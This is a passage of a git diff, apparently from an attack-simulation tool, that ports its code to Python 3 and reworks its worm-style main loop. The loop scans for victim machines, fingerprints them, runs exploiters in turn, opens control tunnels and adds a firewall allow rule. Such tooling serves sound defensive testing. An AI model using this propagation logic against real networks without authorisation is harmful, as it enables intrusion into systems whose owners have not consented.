DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index dcc6e7455..1a4fef1c8 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -35,10 +35,10 @@ class VictimHost(object): def __str__(self): victim = "Victim Host %s: " % self.ip_addr victim += "OS - [" - for k, v in self.os.items(): + for k, v in list(self.os.items()): victim += "%s-%s " % (k, v) victim += "] Services - [" - for k, v in self.services.items(): + for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) victim += '] ' victim += "target monkey: %s" % self.monkey_exe diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/victim_host_generator_test.py index 102014d45..3a159f245 100644 --- a/monkey/infection_monkey/model/victim_host_generator_test.py +++ b/monkey/infection_monkey/model/victim_host_generator_test.py @@ -17,8 +17,8 @@ class VictimHostGeneratorTester(TestCase): generator = VictimHostGenerator(test_ranges, '10.0.0.1', []) victims = generator.generate_victims(chunk_size) for i in range(5): # quickly check the equally sided chunks - self.assertEqual(len(victims.next()), chunk_size) - victim_chunk_last = victims.next() + self.assertEqual(len(next(victims)), chunk_size) + victim_chunk_last = next(victims) self.assertEqual(len(victim_chunk_last), 1) def test_remove_blocked_ip(self): diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a4c72c439..6b8803a9f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,12 +4,12 @@ import os import subprocess import sys import time -from six.moves import xrange import infection_monkey.tunnel as tunnel -from infection_monkey.utils.environment import is_windows_os +from infection_monkey.network.HostFinger import HostFinger from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path +from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.model import DELAY_DELETE_CMD @@ -26,16 +26,24 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.exploit.tools.helpers import get_interface_to_target -from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from common.utils.attack_utils import ScanStatus, UsageEnum +from common.version import get_version +from infection_monkey.exploit.HostExploiter import HostExploiter + +MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down" __author__ = 'itamar' LOG = logging.getLogger(__name__) +class PlannedShutdownException(Exception): + pass + + class InfectionMonkey(object): def __init__(self, args): self._keep_running = False @@ -86,143 +94,158 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): - LOG.info("Monkey is running...") + try: + LOG.info("Monkey is starting...") - # Sets island's IP and port for monkey to communicate to - if not self.set_default_server(): - return - self.set_default_port() + LOG.debug("Starting the setup phase.") + # Sets island's IP and port for monkey to communicate to + self.set_default_server() + self.set_default_port() - # Create a dir for monkey files if there isn't one - create_monkey_dir() + # Create a dir for monkey files if there isn't one + create_monkey_dir() - if WindowsUpgrader.should_upgrade(): - self._upgrading_to_64 = True - self._singleton.unlock() - LOG.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - return + self.upgrade_to_64_if_needed() - ControlClient.wakeup(parent=self._parent) - ControlClient.load_control_config() + ControlClient.wakeup(parent=self._parent) + ControlClient.load_control_config() - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - if not WormConfiguration.alive: - LOG.info("Marked not alive from configuration") - return + self.shutdown_by_not_alive_config() - if firewall.is_enabled(): - firewall.add_firewall_rule() + if firewall.is_enabled(): + firewall.add_firewall_rule() - monkey_tunnel = ControlClient.create_control_tunnel() - if monkey_tunnel: - monkey_tunnel.start() + monkey_tunnel = ControlClient.create_control_tunnel() + if monkey_tunnel: + monkey_tunnel.start() - StateTelem(is_done=False).send() - TunnelTelem().send() + StateTelem(is_done=False, version=get_version()).send() + TunnelTelem().send() + LOG.debug("Starting the post-breach phase.") + self.collect_system_info_if_configured() + PostBreach().execute_all_configured() + + LOG.debug("Starting the propagation phase.") + self.shutdown_by_max_depth_reached() + + for iteration_index in range(WormConfiguration.max_iterations): + ControlClient.keepalive() + ControlClient.load_control_config() + + self._network.initialize() + + self._fingerprint = HostFinger.get_instances() + + self._exploiters = HostExploiter.get_classes() + + if not self._keep_running or not WormConfiguration.alive: + break + + machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, + stop_callback=ControlClient.check_for_stop) + is_empty = True + for machine in machines: + if ControlClient.check_for_stop(): + break + + is_empty = False + for finger in self._fingerprint: + LOG.info("Trying to get OS fingerprint from %r with module %s", + machine, finger.__class__.__name__) + finger.get_host_fingerprint(machine) + + ScanTelem(machine).send() + + # skip machines that we've already exploited + if machine in self._exploited_machines: + LOG.debug("Skipping %r - already exploited", + machine) + continue + elif machine in self._fail_exploitation_machines: + if WormConfiguration.retry_failed_explotation: + LOG.debug("%r - exploitation failed before, trying again", machine) + else: + LOG.debug("Skipping %r - exploitation failed before", machine) + continue + + if monkey_tunnel: + monkey_tunnel.set_tunnel_for_host(machine) + if self._default_server: + if self._network.on_island(self._default_server): + machine.set_default_server(get_interface_to_target(machine.ip_addr) + + (':' + self._default_server_port if self._default_server_port else '')) + else: + machine.set_default_server(self._default_server) + LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) + + # Order exploits according to their type + if WormConfiguration.should_exploit: + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() + break + if not host_exploited: + self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() + if not self._keep_running: + break + + if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): + time_to_sleep = WormConfiguration.timeout_between_iterations + LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) + time.sleep(time_to_sleep) + + if self._keep_running and WormConfiguration.alive: + LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) + elif not WormConfiguration.alive: + LOG.info("Marked not alive from configuration") + + # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to + # connect to the tunnel + if len(self._exploited_machines) > 0: + time_to_sleep = WormConfiguration.keep_tunnel_open_time + LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) + time.sleep(time_to_sleep) + + if monkey_tunnel: + monkey_tunnel.stop() + monkey_tunnel.join() + except PlannedShutdownException: + LOG.info("A planned shutdown of the Monkey occurred. Logging the reason and finishing execution.") + LOG.exception("Planned shutdown, reason:") + + def shutdown_by_max_depth_reached(self): + if 0 == WormConfiguration.depth: + TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() + raise PlannedShutdownException(MAX_DEPTH_REACHED_MESSAGE) + else: + LOG.debug("Running with depth: %d" % WormConfiguration.depth) + + def collect_system_info_if_configured(self): if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() - # Executes post breach actions - PostBreach().execute() + def shutdown_by_not_alive_config(self): + if not WormConfiguration.alive: + raise PlannedShutdownException("Marked 'not alive' from configuration.") - if 0 == WormConfiguration.depth: - TraceTelem("Reached max depth, shutting down").send() - return - else: - LOG.debug("Running with depth: %d" % WormConfiguration.depth) - - for iteration_index in xrange(WormConfiguration.max_iterations): - ControlClient.keepalive() - ControlClient.load_control_config() - - self._network.initialize() - - self._exploiters = WormConfiguration.exploiter_classes - - self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] - - if not self._keep_running or not WormConfiguration.alive: - break - - machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop) - is_empty = True - for machine in machines: - if ControlClient.check_for_stop(): - break - - is_empty = False - for finger in self._fingerprint: - LOG.info("Trying to get OS fingerprint from %r with module %s", - machine, finger.__class__.__name__) - finger.get_host_fingerprint(machine) - - ScanTelem(machine).send() - - # skip machines that we've already exploited - if machine in self._exploited_machines: - LOG.debug("Skipping %r - already exploited", - machine) - continue - elif machine in self._fail_exploitation_machines: - if WormConfiguration.retry_failed_explotation: - LOG.debug("%r - exploitation failed before, trying again", machine) - else: - LOG.debug("Skipping %r - exploitation failed before", machine) - continue - - if monkey_tunnel: - monkey_tunnel.set_tunnel_for_host(machine) - if self._default_server: - if self._network.on_island(self._default_server): - machine.set_default_server(get_interface_to_target(machine.ip_addr) + - (':'+self._default_server_port if self._default_server_port else '')) - else: - machine.set_default_server(self._default_server) - LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) - - # Order exploits according to their type - if WormConfiguration.should_exploit: - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - break - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() - if not self._keep_running: - break - - if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): - time_to_sleep = WormConfiguration.timeout_between_iterations - LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) - time.sleep(time_to_sleep) - - if self._keep_running and WormConfiguration.alive: - LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) - elif not WormConfiguration.alive: - LOG.info("Marked not alive from configuration") - - # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to - # connect to the tunnel - if len(self._exploited_machines) > 0: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) - time.sleep(time_to_sleep) - - if monkey_tunnel: - monkey_tunnel.stop() - monkey_tunnel.join() + def upgrade_to_64_if_needed(self): + if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True + self._singleton.unlock() + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") def cleanup(self): LOG.info("Monkey cleanup started") @@ -232,7 +255,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(is_done=True).send() # Signal the server (before closing the tunnel) + StateTelem(is_done=True, version=get_version()).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: @@ -259,7 +282,7 @@ class InfectionMonkey(object): try: status = None if "win32" == sys.platform: - from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE + from subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE @@ -312,6 +335,8 @@ class InfectionMonkey(object): machine, exploiter.__class__.__name__, exc) self.successfully_exploited(machine, exploiter) return True + except FailedExploitationError as e: + LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) @@ -343,9 +368,11 @@ class InfectionMonkey(object): self._default_server_port = '' def set_default_server(self): + """ + Sets the default server for the Monkey to communicate back to. + :raises PlannedShutdownException if couldn't find the server. + """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): - LOG.info("Monkey couldn't find server. Going down.") - return False + raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) - return True diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index d29adddb1..e5873c9c5 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -1,5 +1,6 @@ # -*- mode: python -*- import os +import sys import platform @@ -18,7 +19,9 @@ def main(): hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, - datas=None, + datas=[ + ("../common/BUILD", "/common") + ], excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, @@ -38,6 +41,7 @@ def main(): debug=False, strip=get_exe_strip(), upx=True, + upx_exclude=['vcruntime140.dll'], console=True, icon=get_exe_icon()) @@ -47,7 +51,7 @@ def is_windows(): def is_32_bit(): - return platform.architecture()[0] == "32bit" + return sys.maxsize <= 2**32 def get_bin_folder(): @@ -67,17 +71,11 @@ def process_datas(orig_datas): def get_binaries(): - binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() + binaries = [] if is_windows() else get_linux_only_binaries() binaries += get_sc_binaries() return binaries -def get_windows_only_binaries(): - binaries = [] - binaries += get_msvcr() - return binaries - - def get_linux_only_binaries(): binaries = [] binaries += get_traceroute_binaries() @@ -92,17 +90,24 @@ def get_sc_binaries(): return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] -def get_msvcr(): - return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] - - def get_traceroute_binaries(): traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] def get_monkey_filename(): - return 'monkey.exe' if is_windows() else 'monkey' + name = 'monkey-' + if is_windows(): + name = name+"windows-" + else: + name = name+"linux-" + if is_32_bit(): + name = name+"32" + else: + name = name+"64" + if is_windows(): + name = name+".exe" + return name def get_exe_strip(): diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py index dabd3a7eb..e64682501 100644 --- a/monkey/infection_monkey/monkeyfs.py +++ b/monkey/infection_monkey/monkeyfs.py @@ -19,7 +19,7 @@ class VirtualFile(BytesIO): if name in VirtualFile._vfs: super(VirtualFile, self).__init__(self._vfs[name]) else: - super(VirtualFile, self).__init__('') + super(VirtualFile, self).__init__() def flush(self): super(VirtualFile, self).flush() @@ -34,7 +34,6 @@ class VirtualFile(BytesIO): return path in VirtualFile._vfs - def getsize(path): if path.startswith(MONKEYFS_PREFIX): return VirtualFile.getsize(path) @@ -53,6 +52,7 @@ def virtual_path(name): return "%s%s" % (MONKEYFS_PREFIX, name) +# noinspection PyShadowingBuiltins def open(name, mode='r', buffering=-1): # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths if name.startswith(MONKEYFS_PREFIX): diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py new file mode 100644 index 000000000..dbc3b40cd --- /dev/null +++ b/monkey/infection_monkey/network/HostFinger.py @@ -0,0 +1,33 @@ +from abc import abstractmethod + +from infection_monkey.config import WormConfiguration +from infection_monkey.utils.plugins.plugin import Plugin +import infection_monkey.network + + +class HostFinger(Plugin): + @staticmethod + def base_package_file(): + return infection_monkey.network.__file__ + + @staticmethod + def base_package_name(): + return infection_monkey.network.__package__ + + @property + @abstractmethod + def _SCANNED_SERVICE(self): + pass + + def init_service(self, services, service_key, port): + services[service_key] = {} + services[service_key]['display_name'] = self._SCANNED_SERVICE + services[service_key]['port'] = port + + @abstractmethod + def get_host_fingerprint(self, host): + raise NotImplementedError() + + @staticmethod + def should_run(class_name: str) -> bool: + return class_name in WormConfiguration.finger_classes diff --git a/monkey/infection_monkey/network/HostScanner.py b/monkey/infection_monkey/network/HostScanner.py new file mode 100644 index 000000000..4f7b850c1 --- /dev/null +++ b/monkey/infection_monkey/network/HostScanner.py @@ -0,0 +1,7 @@ +from abc import ABCMeta, abstractmethod + + +class HostScanner(metaclass=ABCMeta): + @abstractmethod + def is_host_alive(self, host): + raise NotImplementedError() diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index 59a6d01d6..05a457b0c 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,39 +1 @@ -from abc import ABCMeta, abstractmethod, abstractproperty - __author__ = 'itamar' - - -class HostScanner(object): - __metaclass__ = ABCMeta - - @abstractmethod - def is_host_alive(self, host): - raise NotImplementedError() - - -class HostFinger(object): - __metaclass__ = ABCMeta - - @abstractproperty - def _SCANNED_SERVICE(self): - pass - - def init_service(self, services, service_key, port): - services[service_key] = {} - services[service_key]['display_name'] = self._SCANNED_SERVICE - services[service_key]['port'] = port - - @abstractmethod - def get_host_fingerprint(self, host): - raise NotImplementedError() - - -from infection_monkey.network.ping_scanner import PingScanner -from infection_monkey.network.tcp_scanner import TcpScanner -from infection_monkey.network.smbfinger import SMBFinger -from infection_monkey.network.sshfinger import SSHFinger -from infection_monkey.network.httpfinger import HTTPFinger -from infection_monkey.network.elasticfinger import ElasticFinger -from infection_monkey.network.mysqlfinger import MySQLFinger -from infection_monkey.network.info import local_ips, get_free_tcp_port -from infection_monkey.network.mssql_fingerprint import MSSQLFinger diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index aaac09be2..790afa47d 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,9 +6,8 @@ import requests from requests.exceptions import Timeout, ConnectionError import infection_monkey.config +from infection_monkey.network.HostFinger import HostFinger from common.data.network_consts import ES_SERVICE -from infection_monkey.model.host import VictimHost -from infection_monkey.network import HostFinger ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 @@ -31,7 +30,6 @@ class ElasticFinger(HostFinger): :param host: :return: Success/failure, data is saved in the host struct """ - assert isinstance(host, VictimHost) try: url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index 678b6f67f..3b0161bbb 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -4,10 +4,11 @@ import platform def _run_netsh_cmd(command, args): - cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items() + cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value])), stdout=subprocess.PIPE) return cmd.stdout.read().strip().lower().endswith('ok.') + class FirewallApp(object): def is_enabled(self, **kwargs): return False @@ -24,7 +25,7 @@ class FirewallApp(object): def __enter__(self): return self - def __exit__(self, type, value, traceback): + def __exit__(self, exc_type, value, traceback): self.close() def close(self): @@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp): except: return None - def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs): + def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs): netsh_args = {'name': name, - 'dir': dir, + 'dir': direction, 'action': action, 'program': program} netsh_args.update(kwargs) @@ -81,18 +82,18 @@ class WinAdvFirewall(FirewallApp): if not self.is_enabled(): return True - for rule in self._rules.values(): + for rule in list(self._rules.values()): if rule.get('program') == sys.executable and \ - 'in' == rule.get('dir') and \ - 'allow' == rule.get('action') and \ - 4 == len(rule.keys()): + 'in' == rule.get('dir') and \ + 'allow' == rule.get('action') and \ + 4 == len(list(rule.keys())): return True return False def close(self): try: - for rule in self._rules.keys(): - self.remove_firewall_rule({'name': rule}) + for rule in list(self._rules.keys()): + self.remove_firewall_rule(name=rule) except: pass @@ -151,14 +152,14 @@ class WinFirewall(FirewallApp): if not self.is_enabled(): return True - for rule in self._rules.values(): + for rule in list(self._rules.values()): if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'): return True return False def close(self): try: - for rule in self._rules.values(): + for rule in list(self._rules.values()): self.remove_firewall_rule(**rule) except: pass diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 30292d99f..ec9f619da 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,6 +1,5 @@ import infection_monkey.config -from infection_monkey.network import HostFinger -from infection_monkey.model.host import VictimHost +from infection_monkey.network.HostFinger import HostFinger import logging LOG = logging.getLogger(__name__) @@ -21,7 +20,6 @@ class HTTPFinger(HostFinger): pass def get_host_fingerprint(self, host): - assert isinstance(host, VictimHost) from requests import head from requests.exceptions import Timeout, ConnectionError from contextlib import closing @@ -34,12 +32,12 @@ class HTTPFinger(HostFinger): # try http, we don't optimise for 443 for url in (https, http): # start with https and downgrade try: - with closing(head(url, verify=False, timeout=1)) as req: + with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 server = req.headers.get('Server') ssl = True if 'https://' in url else False self.init_service(host.services, ('tcp-' + port[1]), port[0]) host.services['tcp-' + port[1]]['name'] = 'http' - host.services['tcp-' + port[1]]['data'] = (server,ssl) + host.services['tcp-' + port[1]]['data'] = (server, ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 952a9282e..15d9b0d73 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,5 +1,3 @@ -import os -import sys import socket import struct import psutil @@ -13,15 +11,15 @@ import requests from requests import ConnectionError from common.network.network_range import CidrRange - -try: - long # Python 2 -except NameError: - long = int # Python 3 - +from infection_monkey.utils.environment import is_windows_os # Timeout for monkey connections TIMEOUT = 15 +LOOPBACK_NAME = b"lo" +SIOCGIFADDR = 0x8915 # get PA address +SIOCGIFNETMASK = 0x891b # get network PA mask +RTF_UP = 0x0001 # Route usable +RTF_REJECT = 0x0200 def get_host_subnets(): @@ -44,12 +42,11 @@ def get_host_subnets(): if 'broadcast' in network: network.pop('broadcast') for attr in network: - network[attr] = network[attr].encode('utf-8').strip() + network[attr] = network[attr] return ipv4_nets -if sys.platform == "win32": - +if is_windows_os(): def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] @@ -57,7 +54,6 @@ if sys.platform == "win32": def get_routes(): raise NotImplementedError() - else: from fcntl import ioctl @@ -68,12 +64,6 @@ else: def get_routes(): # based on scapy implementation for route parsing - LOOPBACK_NAME = "lo" - SIOCGIFADDR = 0x8915 # get PA address - SIOCGIFNETMASK = 0x891b # get network PA mask - RTF_UP = 0x0001 # Route usable - RTF_REJECT = 0x0200 - try: f = open("/proc/net/route", "r") except IOError: @@ -90,7 +80,7 @@ else: routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) for l in f.readlines()[1:]: - iff, dst, gw, flags, x, x, x, msk, x, x, x = l.split() + iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()] flags = int(flags, 16) if flags & RTF_UP == 0: continue @@ -106,9 +96,9 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(long(dst, 16)) & 0xffffffff, - socket.htonl(long(msk, 16)) & 0xffffffff, - socket.inet_ntoa(struct.pack("I", long(gw, 16))), + routes.append((socket.htonl(int(dst, 16)) & 0xffffffff, + socket.htonl(int(msk, 16)) & 0xffffffff, + socket.inet_ntoa(struct.pack("I", int(gw, 16))), iff, ifaddr)) f.close() @@ -138,7 +128,7 @@ def check_internet_access(services): """ for host in services: try: - requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False) + requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False) # noqa: DUO123 return True except ConnectionError: # Failed connecting @@ -158,13 +148,13 @@ def get_interfaces_ranges(): for net_interface in ifs: address_str = net_interface['addr'] netmask_str = net_interface['netmask'] - ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) + ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res -if sys.platform == "win32": +if is_windows_os(): def get_ip_for_connection(target_ip): return None else: diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 7b666bf9f..bd20f0d22 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -1,8 +1,8 @@ +import errno import logging import socket -from infection_monkey.model.host import VictimHost -from infection_monkey.network import HostFinger +from infection_monkey.network.HostFinger import HostFinger import infection_monkey.config __author__ = 'Maor Rayzin' @@ -11,7 +11,6 @@ LOG = logging.getLogger(__name__) class MSSQLFinger(HostFinger): - # Class related consts SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 @@ -30,7 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) @@ -54,7 +52,7 @@ class MSSQLFinger(HostFinger): sock.close() return False except socket.error as e: - if e.errno == socket.errno.ECONNRESET: + if e.errno == errno.ECONNRESET: LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' .format(host)) else: diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 123f0ae47..968e5361f 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -2,8 +2,7 @@ import logging import socket import infection_monkey.config -from infection_monkey.model.host import VictimHost -from infection_monkey.network import HostFinger +from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 @@ -28,7 +27,6 @@ class MySQLFinger(HostFinger): :param host: :return: Success/failure, data is saved in the host struct """ - assert isinstance(host, VictimHost) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(self.SOCKET_TIMEOUT) @@ -50,7 +48,7 @@ class MySQLFinger(HostFinger): return False version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing - version = version[0] + version = version[0].decode() self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) host.services[SQL_SERVICE]['version'] = version version = version.split('-')[0].split('.') diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index d904fce17..faa5e9a5f 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -6,7 +6,8 @@ from common.network.network_range import NetworkRange from infection_monkey.config import WormConfiguration from infection_monkey.model.victim_host_generator import VictimHostGenerator from infection_monkey.network.info import local_ips, get_interfaces_ranges -from infection_monkey.network import TcpScanner, PingScanner +from infection_monkey.network.tcp_scanner import TcpScanner +from infection_monkey.network.ping_scanner import PingScanner LOG = logging.getLogger(__name__) @@ -48,13 +49,13 @@ class NetworkScanner(object): subnets_to_scan = [] if len(WormConfiguration.inaccessible_subnets) > 1: for subnet_str in WormConfiguration.inaccessible_subnets: - if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): + if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str): # If machine has IPs from 2 different subnets in the same group, there's no point checking the other # subnet. for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue - if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], + if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], other_subnet_str): subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break @@ -85,7 +86,7 @@ class NetworkScanner(object): return results = pool.map(self.scan_machine, victim_chunk) - resulting_victims = filter(lambda x: x is not None, results) + resulting_victims = [x for x in results if x is not None] for victim in resulting_victims: LOG.debug("Found potential victim: %r", victim) victims_count += 1 diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 659722bc2..b08c28a1f 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -5,8 +5,9 @@ import subprocess import sys import infection_monkey.config +from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.network.HostScanner import HostScanner from infection_monkey.model.host import VictimHost -from infection_monkey.network import HostScanner, HostFinger __author__ = 'itamar' @@ -20,7 +21,6 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = '' def __init__(self): @@ -29,7 +29,6 @@ class PingScanner(HostScanner, HostFinger): self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) def is_host_alive(self, host): - assert isinstance(host, VictimHost) timeout = self._config.ping_scan_timeout if not "win32" == sys.platform: @@ -43,19 +42,17 @@ class PingScanner(HostScanner, HostFinger): stderr=self._devnull) def get_host_fingerprint(self, host): - assert isinstance(host, VictimHost) timeout = self._config.ping_scan_timeout if not "win32" 